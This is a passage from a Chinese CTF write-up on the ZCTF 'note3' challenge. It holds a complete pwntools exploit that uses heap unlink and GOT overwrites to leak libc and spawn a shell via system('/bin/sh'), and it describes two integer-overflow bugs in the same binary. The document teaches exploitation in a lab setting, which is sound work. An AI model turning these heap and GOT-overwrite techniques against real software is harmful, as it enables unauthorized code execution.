ZCTF note3:一種新解法( 二 )


3.getshell
最后將atoi@got值改為system地址,然后在選擇功能時輸入/bin/sh即可得到shell 。
Expolit漏洞利用代碼如下:
from pwn import *p = process('./note3')#context.log_level = 'debug'def new(size,content):    p.sendlineafter('option--->>','1')    p.sendlineafter('1024)',str(size))    p.sendlineafter('content:', content)    p.recvuntil('\n')def edit(idx, content):    p.sendlineafter('option--->>','3')    p.sendlineafter('note:', str(idx))    p.sendlineafter('content:', content)    p.recvuntil('success')def delete(idx):    p.sendlineafter('option--->>', '4')    p.sendlineafter('note:', str(idx))#gdb.attach(p)# 分配7+1個塊new(0x40, 'b'*32)new(0x80, 'b'*32) #為進行unlink,塊要大于fastbinnew(0x80, 'b'*32)new(0x80, 'b'*32)new(0x80, 'b'*32)new(0x80, 'b'*32)new(0x80, 'b'*32)new(0x80, 'b'*32) #第0塊的size變量值會被該塊的地址覆蓋,進而第0塊可以寫入足夠多的數據target = 0x6020C8 #指向ptrfd = target - 0x18bk = target - 0x10# 構造fake_chunkpayload = p64(0) + p64(0x31) + p64(fd) + p64(bk) + b'a'*0x10 + p64(0x30) + b'b'*0x8# 溢出到下一個塊,覆蓋chunk headerpayload += p64(0x40) + p64(0x90)edit(0,payload)# 向塊0寫入數據溢出delete(1)# 觸發unlink=>ptr[0]=&ptr-0x18elf = ELF('./note3')# 從&ptr-0x18開始寫入數據 =># 0x6020C8(ptr+0x00): elf.got['free']chunk0_ptr# 0x6020D0(ptr+0x08): elf.got['puts']chunk1_ptr# 0x6020D8(ptr+0x10): 0x6020C8chunk2_ptrpayload = p64(0)*3 + p64(elf.got['free']) + p64(elf.got['puts']) + p64(0x6020c8)edit(0,payload)# 將free@got改為puts@plt:# 向chunk0_ptr(free@got)寫入puts@plt# 注意這里發送的地址是7位,因為程序會在用戶輸入后面加上\x00,若發送8位會將下一個got地址低字節變為0 。這里puts@plt高字節也為\x00,所以發送7位無影響 。edit(0, p64(elf.plt['puts'])[:-1])# 原會調用free(chunk1_put),實際調用puts(puts@got)泄露地址delete(1)p.recvuntil('\n')# 讀取泄露的地址值puts_addr = u64(p.recvuntil('\n')[:-1].ljust(8,b'\x00'))print(hex(puts_addr))# 任意地址寫,通過edit chunk2_ptr來修改chunk0_ptr的指向 , 再通過edit chunk0_ptr修改chunk0_ptr指向的值 。def write(where,what):    edit(2, p64(where))    edit(0, p64(what))# 獲取libc基址libc = ELF('./libc-2.23.so')libc_base = puts_addr - libc.symbols['puts']log.success('libc base: ' + hex(libc_base))# 獲取system函數地址sys_addr = libc_base + libc.symbols['system']log.success('sys_addr: ' + hex(sys_addr))# 將atio@got值改為system函數地址write(elf.got['atoi'], sys_addr)# 因為atoi改為了system,輸入選項時輸入"/bin/sh",會執行system("/bin/sh")p.sendlineafter('option--->>','/bin/sh\x00')p.interactive()執行結果如圖所示

ZCTF note3:一種新解法

文章插圖
方法2:編輯時整數溢出下圖為向塊寫入時的功能函數,這里變量i定義為unsigned __int64類型,在第7行,當a2為0時,a2-1就會變得"無限大",從而可以無限制寫入數據,溢出到下一個塊,利用unlink漏洞實現任意地址寫 , 進而拿到系統shell 。
ZCTF note3:一種新解法

文章插圖
方法3:輸入索引整數溢出在edit功能內,調用read_num_4009B9()讓用戶輸入索引,利用求余使索引小于7 。
ZCTF note3:一種新解法

文章插圖
進入read_num_4009B9()函數內,可以看到程序對用戶輸入進行了判斷 , 若小于0則取相反數 。
ZCTF note3:一種新解法

文章插圖
漏洞就出現在 , 當用戶輸入的為最大負整數(即-9223372036854775808),內存中十六進制表示為0x8000000000000000,取相反數過程為-x=~x+1,即0x7fffffffffffffff+1=0x8000000000000000 , 在計算機表示中最大負整數的相反數還是最大負整數!

推薦閱讀